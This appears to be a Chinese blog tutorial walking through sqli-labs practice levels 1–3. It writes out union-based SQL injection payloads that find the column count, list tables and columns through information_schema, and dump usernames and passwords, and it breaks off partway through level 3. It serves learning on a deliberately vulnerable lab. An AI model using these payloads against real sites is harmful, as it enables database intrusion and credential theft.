sqli-labs-master天书1-10(全网最详细 没有之一!!)

第一关

在这里插入图片描述
进入页面了
第一步 输入?id=1 查询到数据库的数据了 说明进入sql语句执行了
在这里插入图片描述
在这里插入图片描述
接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

?id=1'

在这里插入图片描述

?id=1'--+

在这里插入图片描述
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

2.2 联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。选=

?id=1'order by 3 --+

在这里插入图片描述
在这里插入图片描述
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。根据前面的-1假条件,曝出显示的位置
爆出显示位

?id=-1'union select 1,2,3--+

在这里插入图片描述
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

?id=-1'union select 1,database(),version()--+

在这里插入图片描述
第四步: 爆数据表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  1. 参数id=-1’
    • 作用:闭合原 SQL 查询中的引号,并构造一个永远为假的条件(id=-1)。
    • 由于id=-1不匹配任何记录,原查询返回空,从而让UNION后的查询结果独占输出。
  2. union select 1,2,group_concat(table_name)
    • UNION:合并两个查询的结果,要求两个查询的列数相同。
    • 1,2:占位符,用于匹配原查询的列数(假设原查询有两列)。
    • group_concat(table_name):
    o 将多行结果合并为一行,用逗号分隔(例如:table1,table2,table3)。
    o table_name是information_schema.tables表中的列,存储所有表名。
  3. from information_schema.tables where table_schema=‘security’
    • information_schema.tables:MySQL 系统表,存储所有数据库和表的元数据。
    • table_schema=‘security’:筛选出属于security数据库的表。
  4. –+
    • --:SQL 注释符,用于注释掉原 SQL 中剩余的部分(例如分号或其他条件)。
    • +:URL 编码中的空格(等价于%20),确保注释符后有空格,符合 SQL 语法。
    • 通过上面的命令爆出了数据库里数据表名称
    在这里插入图片描述

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

在这里插入图片描述

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username, '|', id, '|', password) from users--+

第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的。
在这里插入图片描述

在这里插入图片描述
验证包含多少列 输入 4报错了

?id=1 order by 3

在这里插入图片描述
在这里插入图片描述
验证连表查询 查看字段所在列

?id=-1 union select 1,2,3

在这里插入图片描述
获取数据库名以及版本信息

?id=-1 union select 1,database(),version()

在这里插入图片描述

获取security里的表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

在这里插入图片描述
获取security库里的users表的字段 和字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'

在这里插入图片描述
获取数据 中间使用了xx隔开了

?id=-1 union select 1,2,group_concat(username ,'  xx  ' , password) from users

第三关

我们能看到源码的情况下看到是’)闭合的 我们也 要使用相同的闭合方式
在这里插入图片描述

?id=1%27)--+

在这里插入图片描述

测试表内几列数据

?id=1') order by 3--+

在这里插入图片描述

查看账号密码在哪一列

?id=-1'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值